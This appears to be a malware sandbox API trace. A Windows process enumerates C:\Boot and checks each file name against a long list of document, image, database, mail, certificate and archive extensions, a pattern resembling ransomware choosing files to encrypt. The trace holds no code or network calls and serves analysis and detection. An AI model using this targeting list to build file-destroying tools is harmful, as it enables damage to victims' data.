	[0205.357] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1
	[0205.357] lstrlenW (lpString=".dqy") returned 4
	[0205.357] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1
	[0205.357] lstrlenW (lpString=".dsn") returned 4
	[0205.357] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1
	[0205.357] lstrlenW (lpString=".dt") returned 3
	[0205.357] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1
	[0205.357] lstrlenW (lpString=".dtd") returned 4
	[0205.357] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1
	[0205.357] lstrlenW (lpString=".dwg") returned 4
	[0205.357] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1
	[0205.357] lstrlenW (lpString=".dwt") returned 4
	[0205.357] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1
	[0205.357] lstrlenW (lpString=".dx") returned 3
	[0205.357] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1
	[0205.357] lstrlenW (lpString=".dxf") returned 4
	[0205.357] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1
	[0205.357] lstrlenW (lpString=".edml") returned 5
	[0205.357] lstrcmpiW (lpString1=".edml", lpString2="䠱") returned -1
	[0205.357] lstrlenW (lpString=".efd") returned 4
	[0205.357] lstrcmpiW (lpString1=".efd", lpString2="") returned 1
	[0205.357] lstrlenW (lpString=".elf") returned 4
	[0205.358] lstrcmpiW (lpString1=".elf", lpString2="") returned 1
	[0205.358] lstrlenW (lpString=".emf") returned 4
	[0205.358] lstrcmpiW (lpString1=".emf", lpString2="") returned 1
	[0205.358] lstrlenW (lpString=".emz") returned 4
	[0205.358] lstrcmpiW (lpString1=".emz", lpString2="") returned 1
	[0205.358] lstrlenW (lpString=".epf") returned 4
	[0205.358] lstrcmpiW (lpString1=".epf", lpString2="") returned 1
	[0205.358] lstrlenW (lpString=".eps") returned 4
	[0205.358] lstrcmpiW (lpString1=".eps", lpString2="") returned 1
	[0205.358] lstrlenW (lpString=".epsf") returned 5
	[0205.358] lstrcmpiW (lpString1=".epsf", lpString2="䠱") returned -1
	[0205.358] lstrlenW (lpString=".epsp") returned 5
	[0205.358] lstrcmpiW (lpString1=".epsp", lpString2="䠱") returned -1
	[0205.358] lstrlenW (lpString=".erf") returned 4
	[0205.358] lstrcmpiW (lpString1=".erf", lpString2="") returned 1
	[0205.358] lstrlenW (lpString=".exr") returned 4
	[0205.358] lstrcmpiW (lpString1=".exr", lpString2="") returned 1
	[0205.358] lstrlenW (lpString=".f4v") returned 4
	[0205.358] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1
	[0205.358] lstrlenW (lpString=".fido") returned 5
	[0205.358] lstrcmpiW (lpString1=".fido", lpString2="䠱") returned -1
	[0205.358] lstrlenW (lpString=".flm") returned 4
	[0205.359] lstrcmpiW (lpString1=".flm", lpString2="") returned 1
	[0205.359] lstrlenW (lpString=".flv") returned 4
	[0205.359] lstrcmpiW (lpString1=".flv", lpString2="") returned 1
	[0205.359] lstrlenW (lpString=".frm") returned 4
	[0205.359] lstrcmpiW (lpString1=".frm", lpString2="") returned 1
	[0205.359] lstrlenW (lpString=".fxg") returned 4
	[0205.359] lstrcmpiW (lpString1=".fxg", lpString2="") returned 1
	[0205.359] lstrlenW (lpString=".geo") returned 4
	[0205.359] lstrcmpiW (lpString1=".geo", lpString2="") returned 1
	[0205.359] lstrlenW (lpString=".gif") returned 4
	[0205.359] lstrcmpiW (lpString1=".gif", lpString2="") returned 1
	[0205.359] lstrlenW (lpString=".grs") returned 4
	[0205.359] lstrcmpiW (lpString1=".grs", lpString2="") returned 1
	[0205.359] lstrlenW (lpString=".gz") returned 3
	[0205.359] lstrcmpiW (lpString1=".gz", lpString2="BCD") returned -1
	[0205.359] lstrlenW (lpString=".h") returned 2
	[0205.359] lstrcmpiW (lpString1=".h", lpString2="CD") returned -1
	[0205.359] lstrlenW (lpString=".hdr") returned 4
	[0205.359] lstrcmpiW (lpString1=".hdr", lpString2="") returned 1
	[0205.359] lstrlenW (lpString=".hpp") returned 4
	[0205.359] lstrcmpiW (lpString1=".hpp", lpString2="") returned 1
	[0205.359] lstrlenW (lpString=".hta") returned 4
	[0205.359] lstrcmpiW (lpString1=".hta", lpString2="") returned 1
	[0205.359] lstrlenW (lpString=".htc") returned 4
	[0205.359] lstrcmpiW (lpString1=".htc", lpString2="") returned 1
	[0205.359] lstrlenW (lpString=".htm") returned 4
	[0205.359] lstrcmpiW (lpString1=".htm", lpString2="") returned 1
	[0205.359] lstrlenW (lpString=".html") returned 5
	[0205.359] lstrcmpiW (lpString1=".html", lpString2="䠱") returned -1
	[0205.359] lstrlenW (lpString=".icb") returned 4
	[0205.359] lstrcmpiW (lpString1=".icb", lpString2="") returned 1
	[0205.359] lstrlenW (lpString=".ics") returned 4
	[0205.359] lstrcmpiW (lpString1=".ics", lpString2="") returned 1
	[0205.359] lstrlenW (lpString=".iff") returned 4
	[0205.359] lstrcmpiW (lpString1=".iff", lpString2="") returned 1
	[0205.360] lstrlenW (lpString=".inc") returned 4
	[0205.360] lstrcmpiW (lpString1=".inc", lpString2="") returned 1
	[0205.360] lstrlenW (lpString=".indd") returned 5
	[0205.360] lstrcmpiW (lpString1=".indd", lpString2="䠱") returned -1
	[0205.360] lstrlenW (lpString=".ini") returned 4
	[0205.360] lstrcmpiW (lpString1=".ini", lpString2="") returned 1
	[0205.360] lstrlenW (lpString=".iqy") returned 4
	[0205.360] lstrcmpiW (lpString1=".iqy", lpString2="") returned 1
	[0205.360] lstrlenW (lpString=".j2c") returned 4
	[0205.360] lstrcmpiW (lpString1=".j2c", lpString2="") returned 1
	[0205.360] lstrlenW (lpString=".j2k") returned 4
	[0205.360] lstrcmpiW (lpString1=".j2k", lpString2="") returned 1
	[0205.360] lstrlenW (lpString=".java") returned 5
	[0205.360] lstrcmpiW (lpString1=".java", lpString2="䠱") returned -1
	[0205.360] lstrlenW (lpString=".jp2") returned 4
	[0205.360] lstrcmpiW (lpString1=".jp2", lpString2="") returned 1
	[0205.360] lstrlenW (lpString=".jpc") returned 4
	[0205.360] lstrcmpiW (lpString1=".jpc", lpString2="") returned 1
	[0205.360] lstrlenW (lpString=".jpe") returned 4
	[0205.360] lstrcmpiW (lpString1=".jpe", lpString2="") returned 1
	[0205.360] lstrlenW (lpString=".jpeg") returned 5
	[0205.360] lstrcmpiW (lpString1=".jpeg", lpString2="䠱") returned -1
	[0205.360] lstrlenW (lpString=".jpf") returned 4
	[0205.360] lstrcmpiW (lpString1=".jpf", lpString2="") returned 1
	[0205.360] lstrlenW (lpString=".jpg") returned 4
	[0205.360] lstrcmpiW (lpString1=".jpg", lpString2="") returned 1
	[0205.360] lstrlenW (lpString=".jpx") returned 4
	[0205.360] lstrcmpiW (lpString1=".jpx", lpString2="") returned 1
	[0205.360] lstrlenW (lpString=".js") returned 3
	[0205.360] lstrcmpiW (lpString1=".js", lpString2="BCD") returned -1
	[0205.360] lstrlenW (lpString=".jsf") returned 4
	[0205.360] lstrcmpiW (lpString1=".jsf", lpString2="") returned 1
	[0205.360] lstrlenW (lpString=".json") returned 5
	[0205.360] lstrcmpiW (lpString1=".json", lpString2="䠱") returned -1
	[0205.360] lstrlenW (lpString=".jsp") returned 4
	[0205.361] lstrcmpiW (lpString1=".jsp", lpString2="") returned 1
	[0205.361] lstrlenW (lpString=".kdc") returned 4
	[0205.361] lstrcmpiW (lpString1=".kdc", lpString2="") returned 1
	[0205.361] lstrlenW (lpString=".kmz") returned 4
	[0205.361] lstrcmpiW (lpString1=".kmz", lpString2="") returned 1
	[0205.361] lstrlenW (lpString=".kwm") returned 4
	[0205.361] lstrcmpiW (lpString1=".kwm", lpString2="") returned 1
	[0205.361] lstrlenW (lpString=".lasso") returned 6
	[0205.361] lstrcmpiW (lpString1=".lasso", lpString2="") returned 1
	[0205.361] lstrlenW (lpString=".lbi") returned 4
	[0205.361] lstrcmpiW (lpString1=".lbi", lpString2="") returned 1
	[0205.361] lstrlenW (lpString=".lgf") returned 4
	[0205.361] lstrcmpiW (lpString1=".lgf", lpString2="") returned 1
	[0205.361] lstrlenW (lpString=".lgp") returned 4
	[0205.361] lstrcmpiW (lpString1=".lgp", lpString2="") returned 1
	[0205.361] lstrlenW (lpString=".log") returned 4
	[0205.361] lstrcmpiW (lpString1=".log", lpString2="") returned 1
	[0205.361] lstrlenW (lpString=".m1v") returned 4
	[0205.361] lstrcmpiW (lpString1=".m1v", lpString2="") returned 1
	[0205.361] lstrlenW (lpString=".m4a") returned 4
	[0205.361] lstrcmpiW (lpString1=".m4a", lpString2="") returned 1
	[0205.361] lstrlenW (lpString=".m4v") returned 4
	[0205.361] lstrcmpiW (lpString1=".m4v", lpString2="") returned 1
	[0205.361] lstrlenW (lpString=".max") returned 4
	[0205.361] lstrcmpiW (lpString1=".max", lpString2="") returned 1
	[0205.361] lstrlenW (lpString=".md") returned 3
	[0205.361] lstrcmpiW (lpString1=".md", lpString2="BCD") returned -1
	[0205.361] lstrlenW (lpString=".mda") returned 4
	[0205.361] lstrcmpiW (lpString1=".mda", lpString2="") returned 1
	[0205.361] lstrlenW (lpString=".mdb") returned 4
	[0205.361] lstrcmpiW (lpString1=".mdb", lpString2="") returned 1
	[0205.361] lstrlenW (lpString=".mde") returned 4
	[0205.361] lstrcmpiW (lpString1=".mde", lpString2="") returned 1
	[0205.361] lstrlenW (lpString=".mdf") returned 4
	[0205.361] lstrcmpiW (lpString1=".mdf", lpString2="") returned 1
	[0205.362] lstrlenW (lpString=".mdw") returned 4
	[0205.362] lstrcmpiW (lpString1=".mdw", lpString2="") returned 1
	[0205.362] lstrlenW (lpString=".mef") returned 4
	[0205.362] lstrcmpiW (lpString1=".mef", lpString2="") returned 1
	[0205.362] lstrlenW (lpString=".mft") returned 4
	[0205.362] lstrcmpiW (lpString1=".mft", lpString2="") returned 1
	[0205.362] lstrlenW (lpString=".mfw") returned 4
	[0205.362] lstrcmpiW (lpString1=".mfw", lpString2="") returned 1
	[0205.362] lstrlenW (lpString=".mht") returned 4
	[0205.362] lstrcmpiW (lpString1=".mht", lpString2="") returned 1
	[0205.362] lstrlenW (lpString=".mhtml") returned 6
	[0205.362] lstrcmpiW (lpString1=".mhtml", lpString2="") returned 1
	[0205.362] lstrlenW (lpString=".mka") returned 4
	[0205.362] lstrcmpiW (lpString1=".mka", lpString2="") returned 1
	[0205.362] lstrlenW (lpString=".mkidx") returned 6
	[0205.362] lstrcmpiW (lpString1=".mkidx", lpString2="") returned 1
	[0205.362] lstrlenW (lpString=".mkv") returned 4
	[0205.362] lstrcmpiW (lpString1=".mkv", lpString2="") returned 1
	[0205.362] lstrlenW (lpString=".mos") returned 4
	[0205.362] lstrcmpiW (lpString1=".mos", lpString2="") returned 1
	[0205.362] lstrlenW (lpString=".mov") returned 4
	[0205.362] lstrcmpiW (lpString1=".mov", lpString2="") returned 1
	[0205.362] lstrlenW (lpString=".mp3") returned 4
	[0205.362] lstrcmpiW (lpString1=".mp3", lpString2="") returned 1
	[0205.362] lstrlenW (lpString=".mp4") returned 4
	[0205.362] lstrcmpiW (lpString1=".mp4", lpString2="") returned 1
	[0205.362] lstrlenW (lpString=".mpeg") returned 5
	[0205.362] lstrcmpiW (lpString1=".mpeg", lpString2="䠱") returned -1
	[0205.362] lstrlenW (lpString=".mpg") returned 4
	[0205.362] lstrcmpiW (lpString1=".mpg", lpString2="") returned 1
	[0205.362] lstrlenW (lpString=".mpv") returned 4
	[0205.362] lstrcmpiW (lpString1=".mpv", lpString2="") returned 1
	[0205.362] lstrlenW (lpString=".mrw") returned 4
	[0205.362] lstrcmpiW (lpString1=".mrw", lpString2="") returned 1
	[0205.362] lstrlenW (lpString=".msg") returned 4
	[0205.363] lstrcmpiW (lpString1=".msg", lpString2="") returned 1
	[0205.363] lstrlenW (lpString=".mxl") returned 4
	[0205.363] lstrcmpiW (lpString1=".mxl", lpString2="") returned 1
	[0205.363] lstrlenW (lpString=".myd") returned 4
	[0205.363] lstrcmpiW (lpString1=".myd", lpString2="") returned 1
	[0205.363] lstrlenW (lpString=".myi") returned 4
	[0205.363] lstrcmpiW (lpString1=".myi", lpString2="") returned 1
	[0205.363] lstrlenW (lpString=".nef") returned 4
	[0205.363] lstrcmpiW (lpString1=".nef", lpString2="") returned 1
	[0205.363] lstrlenW (lpString=".nrw") returned 4
	[0205.363] lstrcmpiW (lpString1=".nrw", lpString2="") returned 1
	[0205.363] lstrlenW (lpString=".obj") returned 4
	[0205.363] lstrcmpiW (lpString1=".obj", lpString2="") returned 1
	[0205.363] lstrlenW (lpString=".odb") returned 4
	[0205.363] lstrcmpiW (lpString1=".odb", lpString2="") returned 1
	[0205.363] lstrlenW (lpString=".odc") returned 4
	[0205.363] lstrcmpiW (lpString1=".odc", lpString2="") returned 1
	[0205.363] lstrlenW (lpString=".odm") returned 4
	[0205.363] lstrcmpiW (lpString1=".odm", lpString2="") returned 1
	[0205.363] lstrlenW (lpString=".odp") returned 4
	[0205.363] lstrcmpiW (lpString1=".odp", lpString2="") returned 1
	[0205.363] lstrlenW (lpString=".ods") returned 4
	[0205.363] lstrcmpiW (lpString1=".ods", lpString2="") returned 1
	[0205.363] lstrlenW (lpString=".oft") returned 4
	[0205.363] lstrcmpiW (lpString1=".oft", lpString2="") returned 1
	[0205.363] lstrlenW (lpString=".one") returned 4
	[0205.363] lstrcmpiW (lpString1=".one", lpString2="") returned 1
	[0205.363] lstrlenW (lpString=".onepkg") returned 7
	[0205.363] lstrcmpiW (lpString1=".onepkg", lpString2="") returned 1
	[0205.363] lstrlenW (lpString=".onetoc2") returned 8
	[0205.363] lstrcmpiW (lpString1=".onetoc2", lpString2="") returned 1
	[0205.363] lstrlenW (lpString=".opt") returned 4
	[0205.363] lstrcmpiW (lpString1=".opt", lpString2="") returned 1
	[0205.363] lstrlenW (lpString=".oqy") returned 4
	[0205.363] lstrcmpiW (lpString1=".oqy", lpString2="") returned 1
	[0205.364] lstrlenW (lpString=".orf") returned 4
	[0205.364] lstrcmpiW (lpString1=".orf", lpString2="") returned 1
	[0205.364] lstrlenW (lpString=".p12") returned 4
	[0205.364] lstrcmpiW (lpString1=".p12", lpString2="") returned 1
	[0205.364] lstrlenW (lpString=".p7b") returned 4
	[0205.364] lstrcmpiW (lpString1=".p7b", lpString2="") returned 1
	[0205.364] lstrlenW (lpString=".p7c") returned 4
	[0205.364] lstrcmpiW (lpString1=".p7c", lpString2="") returned 1
	[0205.364] lstrlenW (lpString=".pam") returned 4
	[0205.364] lstrcmpiW (lpString1=".pam", lpString2="") returned 1
	[0205.364] lstrlenW (lpString=".pbm") returned 4
	[0205.364] lstrcmpiW (lpString1=".pbm", lpString2="") returned 1
	[0205.364] lstrlenW (lpString=".pct") returned 4
	[0205.364] lstrcmpiW (lpString1=".pct", lpString2="") returned 1
	[0205.364] lstrlenW (lpString=".pcx") returned 4
	[0205.364] lstrcmpiW (lpString1=".pcx", lpString2="") returned 1
	[0205.364] lstrlenW (lpString=".pdd") returned 4
	[0205.364] lstrcmpiW (lpString1=".pdd", lpString2="") returned 1
	[0205.364] lstrlenW (lpString=".pdf") returned 4
	[0205.364] lstrcmpiW (lpString1=".pdf", lpString2="") returned 1
	[0205.364] lstrlenW (lpString=".pdp") returned 4
	[0205.364] lstrcmpiW (lpString1=".pdp", lpString2="") returned 1
	[0205.364] lstrlenW (lpString=".pef") returned 4
	[0205.364] lstrcmpiW (lpString1=".pef", lpString2="") returned 1
	[0205.364] lstrlenW (lpString=".pem") returned 4
	[0205.364] lstrcmpiW (lpString1=".pem", lpString2="") returned 1
	[0205.364] lstrlenW (lpString=".pff") returned 4
	[0205.364] lstrcmpiW (lpString1=".pff", lpString2="") returned 1
	[0205.364] lstrlenW (lpString=".pfm") returned 4
	[0205.364] lstrcmpiW (lpString1=".pfm", lpString2="") returned 1
	[0205.364] lstrlenW (lpString=".pfx") returned 4
	[0205.364] lstrcmpiW (lpString1=".pfx", lpString2="") returned 1
	[0205.364] lstrlenW (lpString=".pgm") returned 4
	[0205.364] lstrcmpiW (lpString1=".pgm", lpString2="") returned 1
	[0205.365] lstrlenW (lpString=".php") returned 4
	[0205.365] lstrcmpiW (lpString1=".php", lpString2="") returned 1
	[0205.365] lstrlenW (lpString=".php3") returned 5
	[0205.365] lstrcmpiW (lpString1=".php3", lpString2="䠱") returned -1
	[0205.365] lstrlenW (lpString=".php4") returned 5
	[0205.365] lstrcmpiW (lpString1=".php4", lpString2="䠱") returned -1
	[0205.365] lstrlenW (lpString=".php5") returned 5
	[0205.365] lstrcmpiW (lpString1=".php5", lpString2="䠱") returned -1
	[0205.365] lstrlenW (lpString=".phtml") returned 6
	[0205.365] lstrcmpiW (lpString1=".phtml", lpString2="") returned 1
	[0205.365] lstrlenW (lpString=".pict") returned 5
	[0205.365] lstrcmpiW (lpString1=".pict", lpString2="䠱") returned -1
	[0205.365] lstrlenW (lpString=".pl") returned 3
	[0205.365] lstrcmpiW (lpString1=".pl", lpString2="BCD") returned -1
	[0205.365] lstrlenW (lpString=".pls") returned 4
	[0205.365] lstrcmpiW (lpString1=".pls", lpString2="") returned 1
	[0205.365] lstrlenW (lpString=".pm") returned 3
	[0205.365] lstrcmpiW (lpString1=".pm", lpString2="BCD") returned -1
	[0205.365] lstrlenW (lpString=".png") returned 4
	[0205.365] lstrcmpiW (lpString1=".png", lpString2="") returned 1
	[0205.365] lstrlenW (lpString=".pnm") returned 4
	[0205.365] lstrcmpiW (lpString1=".pnm", lpString2="") returned 1
	[0205.365] lstrlenW (lpString=".pot") returned 4
	[0205.365] lstrcmpiW (lpString1=".pot", lpString2="") returned 1
	[0205.365] lstrlenW (lpString=".potm") returned 5
	[0205.365] lstrcmpiW (lpString1=".potm", lpString2="䠱") returned -1
	[0205.365] lstrlenW (lpString=".potx") returned 5
	[0205.365] lstrcmpiW (lpString1=".potx", lpString2="䠱") returned -1
	[0205.365] lstrlenW (lpString=".ppa") returned 4
	[0205.365] lstrcmpiW (lpString1=".ppa", lpString2="") returned 1
	[0205.365] lstrlenW (lpString=".ppam") returned 5
	[0205.365] lstrcmpiW (lpString1=".ppam", lpString2="䠱") returned -1
	[0205.365] lstrlenW (lpString=".ppm") returned 4
	[0205.365] lstrcmpiW (lpString1=".ppm", lpString2="") returned 1
	[0205.365] lstrlenW (lpString=".pps") returned 4
	[0205.366] lstrcmpiW (lpString1=".pps", lpString2="") returned 1
	[0205.366] lstrlenW (lpString=".ppsm") returned 5
	[0205.366] lstrcmpiW (lpString1=".ppsm", lpString2="䠱") returned -1
	[0205.366] lstrlenW (lpString=".ppt") returned 4
	[0205.366] lstrcmpiW (lpString1=".ppt", lpString2="") returned 1
	[0205.366] lstrlenW (lpString=".pptm") returned 5
	[0205.366] lstrcmpiW (lpString1=".pptm", lpString2="䠱") returned -1
	[0205.366] lstrlenW (lpString=".pptx") returned 5
	[0205.366] lstrcmpiW (lpString1=".pptx", lpString2="䠱") returned -1
	[0205.366] lstrlenW (lpString=".prn") returned 4
	[0205.366] lstrcmpiW (lpString1=".prn", lpString2="") returned 1
	[0205.366] lstrlenW (lpString=".ps") returned 3
	[0205.366] lstrcmpiW (lpString1=".ps", lpString2="BCD") returned -1
	[0205.366] lstrlenW (lpString=".psb") returned 4
	[0205.366] lstrcmpiW (lpString1=".psb", lpString2="") returned 1
	[0205.366] lstrlenW (lpString=".psd") returned 4
	[0205.366] lstrcmpiW (lpString1=".psd", lpString2="") returned 1
	[0205.366] lstrlenW (lpString=".pst") returned 4
	[0205.366] lstrcmpiW (lpString1=".pst", lpString2="") returned 1
	[0205.366] lstrlenW (lpString=".ptx") returned 4
	[0205.366] lstrcmpiW (lpString1=".ptx", lpString2="") returned 1
	[0205.366] lstrlenW (lpString=".pub") returned 4
	[0205.366] lstrcmpiW (lpString1=".pub", lpString2="") returned 1
	[0205.366] lstrlenW (lpString=".pwm") returned 4
	[0205.366] lstrcmpiW (lpString1=".pwm", lpString2="") returned 1
	[0205.366] lstrlenW (lpString=".pxr") returned 4
	[0205.366] lstrcmpiW (lpString1=".pxr", lpString2="") returned 1
	[0205.366] lstrlenW (lpString=".py") returned 3
	[0205.366] lstrcmpiW (lpString1=".py", lpString2="BCD") returned -1
	[0205.366] lstrlenW (lpString=".qt") returned 3
	[0205.366] lstrcmpiW (lpString1=".qt", lpString2="BCD") returned -1
	[0205.366] lstrlenW (lpString=".r3d") returned 4
	[0205.366] lstrcmpiW (lpString1=".r3d", lpString2="") returned 1
	[0205.366] lstrlenW (lpString=".raf") returned 4
	[0205.366] lstrcmpiW (lpString1=".raf", lpString2="") returned 1
	[0205.367] lstrlenW (lpString=".rar") returned 4
	[0205.367] lstrcmpiW (lpString1=".rar", lpString2="") returned 1
	[0205.367] lstrlenW (lpString=".raw") returned 4
	[0205.367] lstrcmpiW (lpString1=".raw", lpString2="") returned 1
	[0205.367] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x4831, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
	[0205.367] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1
	[0205.367] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1
	[0205.367] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0205.367] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.368] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652758
	[0205.368] FindNextFileW (in: hFindFile=0x652758, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.368] FindNextFileW (in: hFindFile=0x652758, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.368] FindNextFileW (in: hFindFile=0x652758, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0205.368] FindClose (in: hFindFile=0x652758 | out: hFindFile=0x652758) returned 1
	[0205.369] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.369] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1
	[0205.369] lstrlenW (lpString="bootspaces.dll") returned 14
	[0205.369] lstrlenW (lpString=".1cd") returned 4
	[0205.369] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0205.369] lstrlenW (lpString=".3ds") returned 4
	[0205.369] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1
	[0205.369] lstrlenW (lpString=".3fr") returned 4
	[0205.369] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1
	[0205.369] lstrlenW (lpString=".3g2") returned 4
	[0205.369] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1
	[0205.369] lstrlenW (lpString=".3gp") returned 4
	[0205.369] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1
	[0205.369] lstrlenW (lpString=".7z") returned 3
	[0205.369] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0205.369] lstrlenW (lpString=".accda") returned 6
	[0205.369] lstrcmpiW (lpString1=".accda", lpString2="es.dll") returned -1
	[0205.369] lstrlenW (lpString=".accdb") returned 6
	[0205.369] lstrcmpiW (lpString1=".accdb", lpString2="es.dll") returned -1
	[0205.369] lstrlenW (lpString=".accdc") returned 6
	[0205.369] lstrcmpiW (lpString1=".accdc", lpString2="es.dll") returned -1
	[0205.369] lstrlenW (lpString=".accde") returned 6
	[0205.369] lstrcmpiW (lpString1=".accde", lpString2="es.dll") returned -1
	[0205.369] lstrlenW (lpString=".accdt") returned 6
	[0205.369] lstrcmpiW (lpString1=".accdt", lpString2="es.dll") returned -1
	[0205.369] lstrlenW (lpString=".accdw") returned 6
	[0205.369] lstrcmpiW (lpString1=".accdw", lpString2="es.dll") returned -1
	[0205.369] lstrlenW (lpString=".adb") returned 4
	[0205.369] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1
	[0205.369] lstrlenW (lpString=".adp") returned 4
	[0205.369] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1
	[0205.369] lstrlenW (lpString=".ai") returned 3
	[0205.369] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1
	[0205.370] lstrlenW (lpString=".ai3") returned 4
	[0205.370] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1
	[0205.370] lstrlenW (lpString=".ai4") returned 4
	[0205.370] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1
	[0205.370] lstrlenW (lpString=".ai5") returned 4
	[0205.370] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1
	[0205.370] lstrlenW (lpString=".ai6") returned 4
	[0205.370] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1
	[0205.370] lstrlenW (lpString=".ai7") returned 4
